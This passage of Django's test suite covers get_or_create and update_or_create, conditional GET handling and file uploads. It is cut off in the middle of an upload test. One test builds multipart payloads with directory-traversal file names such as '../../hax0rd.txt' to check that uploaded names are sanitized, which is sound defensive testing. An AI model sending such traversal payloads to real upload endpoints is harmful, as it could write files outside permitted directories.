            first_name="John", last_name="Lennon",
            defaults={"birthday": lambda: raise_exception()},
        )


class GetOrCreateTestsWithManualPKs(TestCase):

    def setUp(self):
        self.first_pk = ManualPrimaryKeyTest.objects.create(id=1, data="Original")

    def test_create_with_duplicate_primary_key(self):
        """
        If you specify an existing primary key, but different other fields,
        then you will get an error and data will not be updated.
        """
        with self.assertRaises(IntegrityError):
            ManualPrimaryKeyTest.objects.get_or_create(id=1, data="Different")
        self.assertEqual(ManualPrimaryKeyTest.objects.get(id=1).data, "Original")

    def test_get_or_create_raises_IntegrityError_plus_traceback(self):
        """
        get_or_create should raise IntegrityErrors with the full traceback.
        This is tested by checking that a known method call is in the traceback.
        We cannot use assertRaises here because we need to inspect
        the actual traceback. Refs #16340.
        """
        try:
            ManualPrimaryKeyTest.objects.get_or_create(id=1, data="Different")
        except IntegrityError:
            formatted_traceback = traceback.format_exc()
            self.assertIn(str('obj.save'), formatted_traceback)

    # MySQL emits a warning when broken data is saved
    @ignore_warnings(module='django.db.backends.mysql.base')
    def test_savepoint_rollback(self):
        """
        Regression test for #20463: the database connection should still be
        usable after a DataError or ProgrammingError in .get_or_create().
        """
        try:
            Person.objects.get_or_create(
                birthday=date(1970, 1, 1),
                defaults={'first_name': b"\xff", 'last_name': b"\xff"})
        except (DatabaseError, DjangoUnicodeDecodeError):
            Person.objects.create(
                first_name="Bob", last_name="Ross", birthday=date(1950, 1, 1))
        else:
            self.skipTest("This backend accepts broken utf-8.")

    def test_get_or_create_empty(self):
        """
        If all the attributes on a model have defaults, get_or_create() doesn't
        require any arguments.
        """
        DefaultPerson.objects.get_or_create()


class GetOrCreateTransactionTests(TransactionTestCase):

    available_apps = ['get_or_create']

    def test_get_or_create_integrityerror(self):
        """
        Regression test for #15117. Requires a TransactionTestCase on
        databases that delay integrity checks until the end of transactions,
        otherwise the exception is never raised.
        """
        try:
            Profile.objects.get_or_create(person=Person(id=1))
        except IntegrityError:
            pass
        else:
            self.skipTest("This backend does not support integrity checks.")


class GetOrCreateThroughManyToMany(TestCase):

    def test_get_get_or_create(self):
        tag = Tag.objects.create(text='foo')
        a_thing = Thing.objects.create(name='a')
        a_thing.tags.add(tag)
        obj, created = a_thing.tags.get_or_create(text='foo')

        self.assertFalse(created)
        self.assertEqual(obj.pk, tag.pk)

    def test_create_get_or_create(self):
        a_thing = Thing.objects.create(name='a')
        obj, created = a_thing.tags.get_or_create(text='foo')

        self.assertTrue(created)
        self.assertEqual(obj.text, 'foo')
        self.assertIn(obj, a_thing.tags.all())

    def test_something(self):
        Tag.objects.create(text='foo')
        a_thing = Thing.objects.create(name='a')
        with self.assertRaises(IntegrityError):
            a_thing.tags.get_or_create(text='foo')


class UpdateOrCreateTests(TestCase):

    def test_update(self):
        Person.objects.create(
            first_name='John', last_name='Lennon', birthday=date(1940, 10, 9)
        )
        p, created = Person.objects.update_or_create(
            first_name='John', last_name='Lennon', defaults={
                'birthday': date(1940, 10, 10)
            }
        )
        self.assertFalse(created)
        self.assertEqual(p.first_name, 'John')
        self.assertEqual(p.last_name, 'Lennon')
        self.assertEqual(p.birthday, date(1940, 10, 10))

    def test_create(self):
        p, created = Person.objects.update_or_create(
            first_name='John', last_name='Lennon', defaults={
                'birthday': date(1940, 10, 10)
            }
        )
        self.assertTrue(created)
        self.assertEqual(p.first_name, 'John')
        self.assertEqual(p.last_name, 'Lennon')
        self.assertEqual(p.birthday, date(1940, 10, 10))

    def test_create_twice(self):
        params = {
            'first_name': 'John',
            'last_name': 'Lennon',
            'birthday': date(1940, 10, 10),
        }
        Person.objects.update_or_create(**params)
        # If we execute the exact same statement, it won't create a Person.
        p, created = Person.objects.update_or_create(**params)
        self.assertFalse(created)

    def test_integrity(self):
        """
        If you don't specify a value or default value for all required
        fields, you will get an error.
        """
        with self.assertRaises(IntegrityError):
            Person.objects.update_or_create(first_name="Tom", last_name="Smith")

    def test_manual_primary_key_test(self):
        """
        If you specify an existing primary key, but different other fields,
        then you will get an error and data will not be updated.
        """
        ManualPrimaryKeyTest.objects.create(id=1, data="Original")
        with self.assertRaises(IntegrityError):
            ManualPrimaryKeyTest.objects.update_or_create(id=1, data="Different")
        self.assertEqual(ManualPrimaryKeyTest.objects.get(id=1).data, "Original")

    def test_error_contains_full_traceback(self):
        """
        update_or_create should raise IntegrityErrors with the full traceback.
        This is tested by checking that a known method call is in the traceback.
        We cannot use assertRaises/assertRaises here because we need to inspect
        the actual traceback. Refs #16340.
        """
        try:
            ManualPrimaryKeyTest.objects.update_or_create(id=1, data="Different")
        except IntegrityError:
            formatted_traceback = traceback.format_exc()
            self.assertIn('obj.save', formatted_traceback)

    def test_create_with_related_manager(self):
        """
        Should be able to use update_or_create from the related manager to
        create a book. Refs #23611.
        """
        p = Publisher.objects.create(name="Acme Publishing")
        book, created = p.books.update_or_create(name="The Book of Ed & Fred")
        self.assertTrue(created)
        self.assertEqual(p.books.count(), 1)

    def test_update_with_related_manager(self):
        """
        Should be able to use update_or_create from the related manager to
        update a book. Refs #23611.
        """
        p = Publisher.objects.create(name="Acme Publishing")
        book = Book.objects.create(name="The Book of Ed & Fred", publisher=p)
        self.assertEqual(p.books.count(), 1)
        name = "The Book of Django"
        book, created = p.books.update_or_create(defaults={'name': name}, id=book.id)
        self.assertFalse(created)
        self.assertEqual(book.name, name)
        self.assertEqual(p.books.count(), 1)

    def test_create_with_many(self):
        """
        Should be able to use update_or_create from the m2m related manager to
        create a book. Refs #23611.
        """
        p = Publisher.objects.create(name="Acme Publishing")
        author = Author.objects.create(name="Ted")
        book, created = author.books.update_or_create(name="The Book of Ed & Fred", publisher=p)
        self.assertTrue(created)
        self.assertEqual(author.books.count(), 1)

    def test_update_with_many(self):
        """
        Should be able to use update_or_create from the m2m related manager to
        update a book. Refs #23611.
        """
        p = Publisher.objects.create(name="Acme Publishing")
        author = Author.objects.create(name="Ted")
        book = Book.objects.create(name="The Book of Ed & Fred", publisher=p)
        book.authors.add(author)
        self.assertEqual(author.books.count(), 1)
        name = "The Book of Django"
        book, created = author.books.update_or_create(defaults={'name': name}, id=book.id)
        self.assertFalse(created)
        self.assertEqual(book.name, name)
        self.assertEqual(author.books.count(), 1)

    def test_defaults_exact(self):
        """
        If you have a field named defaults and want to use it as an exact
        lookup, you need to use 'defaults__exact'.
        """
        obj, created = Person.objects.update_or_create(
            first_name='George', last_name='Harrison', defaults__exact='testing', defaults={
                'birthday': date(1943, 2, 25),
                'defaults': 'testing',
            }
        )
        self.assertTrue(created)
        self.assertEqual(obj.defaults, 'testing')
        obj, created = Person.objects.update_or_create(
            first_name='George', last_name='Harrison', defaults__exact='testing', defaults={
                'birthday': date(1943, 2, 25),
                'defaults': 'another testing',
            }
        )
        self.assertFalse(created)
        self.assertEqual(obj.defaults, 'another testing')

    def test_create_callable_default(self):
        obj, created = Person.objects.update_or_create(
            first_name='George', last_name='Harrison',
            defaults={'birthday': lambda: date(1943, 2, 25)},
        )
        self.assertIs(created, True)
        self.assertEqual(obj.birthday, date(1943, 2, 25))

    def test_update_callable_default(self):
        Person.objects.update_or_create(
            first_name='George', last_name='Harrison', birthday=date(1942, 2, 25),
        )
        obj, created = Person.objects.update_or_create(
            first_name='George',
            defaults={'last_name': lambda: 'NotHarrison'},
        )
        self.assertIs(created, False)
        self.assertEqual(obj.last_name, 'NotHarrison')


class UpdateOrCreateTransactionTests(TransactionTestCase):
    available_apps = ['get_or_create']

    @skipUnlessDBFeature('has_select_for_update')
    @skipUnlessDBFeature('supports_transactions')
    def test_updates_in_transaction(self):
        """
        Objects are selected and updated in a transaction to avoid race
        conditions. This test forces update_or_create() to hold the lock
        in another thread for a relatively long time so that it can update
        while it holds the lock. The updated field isn't a field in 'defaults',
        so update_or_create() shouldn't have an effect on it.
        """
        lock_status = {'has_grabbed_lock': False}

        def birthday_sleep():
            lock_status['has_grabbed_lock'] = True
            time.sleep(0.5)
            return date(1940, 10, 10)

        def update_birthday_slowly():
            Person.objects.update_or_create(
                first_name='John', defaults={'birthday': birthday_sleep}
            )
            # Avoid leaking connection for Oracle
            connection.close()

        def lock_wait():
            # timeout after ~0.5 seconds
            for i in range(20):
                time.sleep(0.025)
                if lock_status['has_grabbed_lock']:
                    return True
            return False

        Person.objects.create(first_name='John', last_name='Lennon', birthday=date(1940, 10, 9))

        # update_or_create in a separate thread
        t = Thread(target=update_birthday_slowly)
        before_start = datetime.now()
        t.start()

        if not lock_wait():
            self.skipTest('Database took too long to lock the row')

        # Update during lock
        Person.objects.filter(first_name='John').update(last_name='NotLennon')
        after_update = datetime.now()

        # Wait for thread to finish
        t.join()

        # The update remains and it blocked.
        updated_person = Person.objects.get(first_name='John')
        self.assertGreater(after_update - before_start, timedelta(seconds=0.5))
        self.assertEqual(updated_person.last_name, 'NotLennon')






from django.http import HttpResponse
from django.views.decorators.http import condition, etag, last_modified

from .tests import ETAG, FULL_RESPONSE, LAST_MODIFIED


def index(request):
    return HttpResponse(FULL_RESPONSE)
index = condition(lambda r: ETAG, lambda r: LAST_MODIFIED)(index)


def last_modified_view1(request):
    return HttpResponse(FULL_RESPONSE)
last_modified_view1 = condition(last_modified_func=lambda r: LAST_MODIFIED)(last_modified_view1)


def last_modified_view2(request):
    return HttpResponse(FULL_RESPONSE)
last_modified_view2 = last_modified(lambda r: LAST_MODIFIED)(last_modified_view2)


def etag_view1(request):
    return HttpResponse(FULL_RESPONSE)
etag_view1 = condition(etag_func=lambda r: ETAG)(etag_view1)


def etag_view2(request):
    return HttpResponse(FULL_RESPONSE)
etag_view2 = etag(lambda r: ETAG)(etag_view2)






from django.conf.urls import url

from . import views

urlpatterns = [
    url('^condition/$', views.index),
    url('^condition/last_modified/$', views.last_modified_view1),
    url('^condition/last_modified2/$', views.last_modified_view2),
    url('^condition/etag/$', views.etag_view1),
    url('^condition/etag2/$', views.etag_view2),
]












# -*- coding:utf-8 -*-
from __future__ import unicode_literals

from datetime import datetime

from django.test import SimpleTestCase, override_settings

FULL_RESPONSE = 'Test conditional get response'
LAST_MODIFIED = datetime(2007, 10, 21, 23, 21, 47)
LAST_MODIFIED_STR = 'Sun, 21 Oct 2007 23:21:47 GMT'
LAST_MODIFIED_NEWER_STR = 'Mon, 18 Oct 2010 16:56:23 GMT'
LAST_MODIFIED_INVALID_STR = 'Mon, 32 Oct 2010 16:56:23 GMT'
EXPIRED_LAST_MODIFIED_STR = 'Sat, 20 Oct 2007 23:21:47 GMT'
ETAG = 'b4246ffc4f62314ca13147c9d4f76974'
EXPIRED_ETAG = '7fae4cd4b0f81e7d2914700043aa8ed6'


@override_settings(ROOT_URLCONF='conditional_processing.urls')
class ConditionalGet(SimpleTestCase):

    def assertFullResponse(self, response, check_last_modified=True, check_etag=True):
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, FULL_RESPONSE.encode())
        if check_last_modified:
            self.assertEqual(response['Last-Modified'], LAST_MODIFIED_STR)
        if check_etag:
            self.assertEqual(response['ETag'], '"%s"' % ETAG)

    def assertNotModified(self, response):
        self.assertEqual(response.status_code, 304)
        self.assertEqual(response.content, b'')

    def test_without_conditions(self):
        response = self.client.get('/condition/')
        self.assertFullResponse(response)

    def test_if_modified_since(self):
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR
        response = self.client.get('/condition/')
        self.assertNotModified(response)
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_NEWER_STR
        response = self.client.get('/condition/')
        self.assertNotModified(response)
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_INVALID_STR
        response = self.client.get('/condition/')
        self.assertFullResponse(response)
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        response = self.client.get('/condition/')
        self.assertFullResponse(response)

    def test_if_unmodified_since(self):
        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_STR
        response = self.client.get('/condition/')
        self.assertFullResponse(response)
        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_NEWER_STR
        response = self.client.get('/condition/')
        self.assertFullResponse(response)
        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_INVALID_STR
        response = self.client.get('/condition/')
        self.assertFullResponse(response)
        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        response = self.client.get('/condition/')
        self.assertEqual(response.status_code, 412)

    def test_if_none_match(self):
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % ETAG
        response = self.client.get('/condition/')
        self.assertNotModified(response)
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % EXPIRED_ETAG
        response = self.client.get('/condition/')
        self.assertFullResponse(response)

        # Several etags in If-None-Match is a bit exotic but why not?
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s", "%s"' % (ETAG, EXPIRED_ETAG)
        response = self.client.get('/condition/')
        self.assertNotModified(response)

    def test_if_match(self):
        self.client.defaults['HTTP_IF_MATCH'] = '"%s"' % ETAG
        response = self.client.put('/condition/etag/')
        self.assertEqual(response.status_code, 200)
        self.client.defaults['HTTP_IF_MATCH'] = '"%s"' % EXPIRED_ETAG
        response = self.client.put('/condition/etag/')
        self.assertEqual(response.status_code, 412)

    def test_both_headers(self):
        # see http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.3.4
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % ETAG
        response = self.client.get('/condition/')
        self.assertNotModified(response)

        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % ETAG
        response = self.client.get('/condition/')
        self.assertFullResponse(response)

        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % EXPIRED_ETAG
        response = self.client.get('/condition/')
        self.assertFullResponse(response)

        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % EXPIRED_ETAG
        response = self.client.get('/condition/')
        self.assertFullResponse(response)

    def test_both_headers_2(self):
        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_STR
        self.client.defaults['HTTP_IF_MATCH'] = '"%s"' % ETAG
        response = self.client.get('/condition/')
        self.assertFullResponse(response)

        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        self.client.defaults['HTTP_IF_MATCH'] = '"%s"' % EXPIRED_ETAG
        response = self.client.get('/condition/')
        self.assertEqual(response.status_code, 412)

        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_STR
        self.client.defaults['HTTP_IF_MATCH'] = '"%s"' % EXPIRED_ETAG
        response = self.client.get('/condition/')
        self.assertEqual(response.status_code, 412)

        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        self.client.defaults['HTTP_IF_MATCH'] = '"%s"' % ETAG
        response = self.client.get('/condition/')
        self.assertEqual(response.status_code, 412)

    def test_single_condition_1(self):
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR
        response = self.client.get('/condition/last_modified/')
        self.assertNotModified(response)
        response = self.client.get('/condition/etag/')
        self.assertFullResponse(response, check_last_modified=False)

    def test_single_condition_2(self):
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % ETAG
        response = self.client.get('/condition/etag/')
        self.assertNotModified(response)
        response = self.client.get('/condition/last_modified/')
        self.assertFullResponse(response, check_etag=False)

    def test_single_condition_3(self):
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        response = self.client.get('/condition/last_modified/')
        self.assertFullResponse(response, check_etag=False)

    def test_single_condition_4(self):
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % EXPIRED_ETAG
        response = self.client.get('/condition/etag/')
        self.assertFullResponse(response, check_last_modified=False)

    def test_single_condition_5(self):
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR
        response = self.client.get('/condition/last_modified2/')
        self.assertNotModified(response)
        response = self.client.get('/condition/etag2/')
        self.assertFullResponse(response, check_last_modified=False)

    def test_single_condition_6(self):
        self.client.defaults['HTTP_IF_NONE_MATCH'] = '"%s"' % ETAG
        response = self.client.get('/condition/etag2/')
        self.assertNotModified(response)
        response = self.client.get('/condition/last_modified2/')
        self.assertFullResponse(response, check_etag=False)

    def test_single_condition_7(self):
        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        response = self.client.get('/condition/last_modified/')
        self.assertEqual(response.status_code, 412)
        response = self.client.get('/condition/etag/')
        self.assertFullResponse(response, check_last_modified=False)

    def test_single_condition_8(self):
        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_STR
        response = self.client.get('/condition/last_modified/')
        self.assertFullResponse(response, check_etag=False)

    def test_single_condition_9(self):
        self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR
        response = self.client.get('/condition/last_modified2/')
        self.assertEqual(response.status_code, 412)
        response = self.client.get('/condition/etag2/')
        self.assertFullResponse(response, check_last_modified=False)

    def test_single_condition_head(self):
        self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR
        response = self.client.head('/condition/')
        self.assertNotModified(response)

    def test_invalid_etag(self):
        self.client.defaults['HTTP_IF_NONE_MATCH'] = r'"\"'
        response = self.client.get('/condition/etag/')
        self.assertFullResponse(response, check_last_modified=False)






from django.db import models


class FileModel(models.Model):
    testfile = models.FileField(upload_to='test_upload')






from __future__ import unicode_literals

import contextlib
import hashlib
import json
import os

from django.core.files.uploadedfile import UploadedFile
from django.http import HttpResponse, HttpResponseServerError
from django.utils import six
from django.utils.encoding import force_bytes, smart_str

from .models import FileModel
from .tests import UNICODE_FILENAME, UPLOAD_TO
from .uploadhandler import ErroringUploadHandler, QuotaUploadHandler


def file_upload_view(request):
    """
    Check that a file upload can be updated into the POST dictionary without
    going pear-shaped.
    """
    form_data = request.POST.copy()
    form_data.update(request.FILES)
    if isinstance(form_data.get('file_field'), UploadedFile) and isinstance(form_data['name'], six.text_type):
        # If a file is posted, the dummy client should only post the file name,
        # not the full path.
        if os.path.dirname(form_data['file_field'].name) != '':
            return HttpResponseServerError()
        return HttpResponse('')
    else:
        return HttpResponseServerError()


def file_upload_view_verify(request):
    """
    Use the sha digest hash to verify the uploaded contents.
    """
    form_data = request.POST.copy()
    form_data.update(request.FILES)

    for key, value in form_data.items():
        if key.endswith('_hash'):
            continue
        if key + '_hash' not in form_data:
            continue
        submitted_hash = form_data[key + '_hash']
        if isinstance(value, UploadedFile):
            new_hash = hashlib.sha1(value.read()).hexdigest()
        else:
            new_hash = hashlib.sha1(force_bytes(value)).hexdigest()
        if new_hash != submitted_hash:
            return HttpResponseServerError()

    # Adding large file to the database should succeed
    largefile = request.FILES['file_field2']
    obj = FileModel()
    obj.testfile.save(largefile.name, largefile)

    return HttpResponse('')


def file_upload_unicode_name(request):

    # Check to see if unicode name came through properly.
    if not request.FILES['file_unicode'].name.endswith(UNICODE_FILENAME):
        return HttpResponseServerError()

    response = None

    # Check to make sure the exotic characters are preserved even
    # through file save.
    uni_named_file = request.FILES['file_unicode']
    obj = FileModel.objects.create(testfile=uni_named_file)
    full_name = '%s/%s' % (UPLOAD_TO, uni_named_file.name)
    if not os.path.exists(full_name):
        response = HttpResponseServerError()

    # Cleanup the object with its exotic file name immediately.
    # (shutil.rmtree used elsewhere in the tests to clean up the
    # upload directory has been seen to choke on unicode
    # filenames on Windows.)
    obj.delete()
    os.unlink(full_name)

    if response:
        return response
    else:
        return HttpResponse('')


def file_upload_echo(request):
    """
    Simple view to echo back info about uploaded files for tests.
    """
    r = {k: f.name for k, f in request.FILES.items()}
    return HttpResponse(json.dumps(r))


def file_upload_echo_content(request):
    """
    Simple view to echo back the content of uploaded files for tests.
    """
    def read_and_close(f):
        with contextlib.closing(f):
            return f.read().decode('utf-8')
    r = {k: read_and_close(f) for k, f in request.FILES.items()}
    return HttpResponse(json.dumps(r))


def file_upload_quota(request):
    """
    Dynamically add in an upload handler.
    """
    request.upload_handlers.insert(0, QuotaUploadHandler())
    return file_upload_echo(request)


def file_upload_quota_broken(request):
    """
    You can't change handlers after reading FILES; this view shouldn't work.
    """
    response = file_upload_echo(request)
    request.upload_handlers.insert(0, QuotaUploadHandler())
    return response


def file_upload_getlist_count(request):
    """
    Check the .getlist() function to ensure we receive the correct number of files.
    """
    file_counts = {}

    for key in request.FILES.keys():
        file_counts[key] = len(request.FILES.getlist(key))
    return HttpResponse(json.dumps(file_counts))


def file_upload_errors(request):
    request.upload_handlers.insert(0, ErroringUploadHandler())
    return file_upload_echo(request)


def file_upload_filename_case_view(request):
    """
    Check adding the file to the database will preserve the filename case.
    """
    file = request.FILES['file_field']
    obj = FileModel()
    obj.testfile.save(file.name, file)
    return HttpResponse('%d' % obj.pk)


def file_upload_content_type_extra(request):
    """
    Simple view to echo back extra content-type parameters.
    """
    params = {}
    for file_name, uploadedfile in request.FILES.items():
        params[file_name] = {
            k: smart_str(v) for k, v in uploadedfile.content_type_extra.items()
        }
    return HttpResponse(json.dumps(params))


def file_upload_fd_closing(request, access):
    if access == 't':
        request.FILES  # Trigger file parsing.
    return HttpResponse('')






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^upload/$', views.file_upload_view),
    url(r'^verify/$', views.file_upload_view_verify),
    url(r'^unicode_name/$', views.file_upload_unicode_name),
    url(r'^echo/$', views.file_upload_echo),
    url(r'^echo_content_type_extra/$', views.file_upload_content_type_extra),
    url(r'^echo_content/$', views.file_upload_echo_content),
    url(r'^quota/$', views.file_upload_quota),
    url(r'^quota/broken/$', views.file_upload_quota_broken),
    url(r'^getlist_count/$', views.file_upload_getlist_count),
    url(r'^upload_errors/$', views.file_upload_errors),
    url(r'^filename_case/$', views.file_upload_filename_case_view),
    url(r'^fd_closing/(?P<access>t|f)/$', views.file_upload_fd_closing),
]












#! -*- coding: utf-8 -*-
from __future__ import unicode_literals

import base64
import errno
import hashlib
import json
import os
import shutil
import sys
import tempfile as sys_tempfile
import unittest
from io import BytesIO

from django.core.files import temp as tempfile
from django.core.files.uploadedfile import SimpleUploadedFile
from django.http.multipartparser import MultiPartParser, parse_header
from django.test import SimpleTestCase, TestCase, client, override_settings
from django.utils.encoding import force_bytes
from django.utils.http import urlquote
from django.utils.six import PY2, StringIO

from . import uploadhandler
from .models import FileModel

UNICODE_FILENAME = 'test-0123456789_中文_Orléans.jpg'
MEDIA_ROOT = sys_tempfile.mkdtemp()
UPLOAD_TO = os.path.join(MEDIA_ROOT, 'test_upload')


@override_settings(MEDIA_ROOT=MEDIA_ROOT, ROOT_URLCONF='file_uploads.urls', MIDDLEWARE=[])
class FileUploadTests(TestCase):

    @classmethod
    def setUpClass(cls):
        super(FileUploadTests, cls).setUpClass()
        if not os.path.isdir(MEDIA_ROOT):
            os.makedirs(MEDIA_ROOT)

    @classmethod
    def tearDownClass(cls):
        shutil.rmtree(MEDIA_ROOT)
        super(FileUploadTests, cls).tearDownClass()

    def test_simple_upload(self):
        with open(__file__, 'rb') as fp:
            post_data = {
                'name': 'Ringo',
                'file_field': fp,
            }
            response = self.client.post('/upload/', post_data)
        self.assertEqual(response.status_code, 200)

    def test_large_upload(self):
        file = tempfile.NamedTemporaryFile
        with file(suffix=".file1") as file1, file(suffix=".file2") as file2:
            file1.write(b'a' * (2 ** 21))
            file1.seek(0)

            file2.write(b'a' * (10 * 2 ** 20))
            file2.seek(0)

            post_data = {
                'name': 'Ringo',
                'file_field1': file1,
                'file_field2': file2,
            }

            for key in list(post_data):
                try:
                    post_data[key + '_hash'] = hashlib.sha1(post_data[key].read()).hexdigest()
                    post_data[key].seek(0)
                except AttributeError:
                    post_data[key + '_hash'] = hashlib.sha1(force_bytes(post_data[key])).hexdigest()

            response = self.client.post('/verify/', post_data)

            self.assertEqual(response.status_code, 200)

    def _test_base64_upload(self, content, encode=base64.b64encode):
        payload = client.FakePayload("\r\n".join([
            '--' + client.BOUNDARY,
            'Content-Disposition: form-data; name="file"; filename="test.txt"',
            'Content-Type: application/octet-stream',
            'Content-Transfer-Encoding: base64',
            '']))
        payload.write(b"\r\n" + encode(force_bytes(content)) + b"\r\n")
        payload.write('--' + client.BOUNDARY + '--\r\n')
        r = {
            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': client.MULTIPART_CONTENT,
            'PATH_INFO': "/echo_content/",
            'REQUEST_METHOD': 'POST',
            'wsgi.input': payload,
        }
        response = self.client.request(**r)
        received = json.loads(response.content.decode('utf-8'))

        self.assertEqual(received['file'], content)

    def test_base64_upload(self):
        self._test_base64_upload("This data will be transmitted base64-encoded.")

    def test_big_base64_upload(self):
        self._test_base64_upload("Big data" * 68000)  # > 512Kb

    def test_big_base64_newlines_upload(self):
        self._test_base64_upload(
            # encodestring is a deprecated alias on Python 3
            "Big data" * 68000, encode=base64.encodestring if PY2 else base64.encodebytes)

    def test_unicode_file_name(self):
        tdir = sys_tempfile.mkdtemp()
        self.addCleanup(shutil.rmtree, tdir, True)

        # This file contains Chinese symbols and an accented char in the name.
        with open(os.path.join(tdir, UNICODE_FILENAME), 'w+b') as file1:
            file1.write(b'b' * (2 ** 10))
            file1.seek(0)

            post_data = {
                'file_unicode': file1,
            }

            response = self.client.post('/unicode_name/', post_data)

        self.assertEqual(response.status_code, 200)

    def test_unicode_file_name_rfc2231(self):
        """
        Test receiving file upload when filename is encoded with RFC2231
        (#22971).
        """
        payload = client.FakePayload()
        payload.write('\r\n'.join([
            '--' + client.BOUNDARY,
            'Content-Disposition: form-data; name="file_unicode"; filename*=UTF-8\'\'%s' % urlquote(UNICODE_FILENAME),
            'Content-Type: application/octet-stream',
            '',
            'You got pwnd.\r\n',
            '\r\n--' + client.BOUNDARY + '--\r\n'
        ]))

        r = {
            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': client.MULTIPART_CONTENT,
            'PATH_INFO': "/unicode_name/",
            'REQUEST_METHOD': 'POST',
            'wsgi.input': payload,
        }
        response = self.client.request(**r)
        self.assertEqual(response.status_code, 200)

    def test_unicode_name_rfc2231(self):
        """
        Test receiving file upload when filename is encoded with RFC2231
        (#22971).
        """
        payload = client.FakePayload()
        payload.write(
            '\r\n'.join([
                '--' + client.BOUNDARY,
                'Content-Disposition: form-data; name*=UTF-8\'\'file_unicode; filename*=UTF-8\'\'%s' % urlquote(
                    UNICODE_FILENAME
                ),
                'Content-Type: application/octet-stream',
                '',
                'You got pwnd.\r\n',
                '\r\n--' + client.BOUNDARY + '--\r\n'
            ])
        )

        r = {
            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': client.MULTIPART_CONTENT,
            'PATH_INFO': "/unicode_name/",
            'REQUEST_METHOD': 'POST',
            'wsgi.input': payload,
        }
        response = self.client.request(**r)
        self.assertEqual(response.status_code, 200)

    def test_blank_filenames(self):
        """
        Receiving file upload when filename is blank (before and after
        sanitization) should be okay.
        """
        # The second value is normalized to an empty name by
        # MultiPartParser.IE_sanitize()
        filenames = ['', 'C:\\Windows\\']

        payload = client.FakePayload()
        for i, name in enumerate(filenames):
            payload.write('\r\n'.join([
                '--' + client.BOUNDARY,
                'Content-Disposition: form-data; name="file%s"; filename="%s"' % (i, name),
                'Content-Type: application/octet-stream',
                '',
                'You got pwnd.\r\n'
            ]))
        payload.write('\r\n--' + client.BOUNDARY + '--\r\n')

        r = {
            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': client.MULTIPART_CONTENT,
            'PATH_INFO': '/echo/',
            'REQUEST_METHOD': 'POST',
            'wsgi.input': payload,
        }
        response = self.client.request(**r)
        self.assertEqual(response.status_code, 200)

        # Empty filenames should be ignored
        received = json.loads(response.content.decode('utf-8'))
        for i, name in enumerate(filenames):
            self.assertIsNone(received.get('file%s' % i))

    def test_dangerous_file_names(self):
        """Uploaded file names should be sanitized before ever reaching the view."""
        # This test simulates possible directory traversal attacks by a
        # malicious uploader We have to do some monkeybusiness here to construct
        # a malicious payload with an invalid file name (containing os.sep or
        # os.pardir). This similar to what an attacker would need to do when
        # trying such an attack.
        scary_file_names = [
            "/tmp/hax0rd.txt",          # Absolute path, *nix-style.
            "C:\\Windows\\hax0rd.txt",  # Absolute path, win-style.
            "C:/Windows/hax0rd.txt",    # Absolute path, broken-style.
            "\\tmp\\hax0rd.txt",        # Absolute path, broken in a different way.
            "/tmp\\hax0rd.txt",         # Absolute path, broken by mixing.
            "subdir/hax0rd.txt",        # Descendant path, *nix-style.
            "subdir\\hax0rd.txt",       # Descendant path, win-style.
            "sub/dir\\hax0rd.txt",      # Descendant path, mixed.
            "../../hax0rd.txt",         # Relative path, *nix-style.
            "..\\..\\hax0rd.txt",       # Relative path, win-style.
            "../..\\hax0rd.txt"         # Relative path, mixed.
        ]

        payload = client.FakePayload()
        for i, name in enumerate(scary_file_names):
            payload.write('\r\n'.join([
                '--' + client.BOUNDARY,
                'Content-Disposition: form-data; name="file%s"; filename="%s"' % (i, name),
                'Content-Type: application/octet-stream',
                '',
                'You got pwnd.\r\n'
            ]))
        payload.write('\r\n--' + client.BOUNDARY + '--\r\n')

        r = {
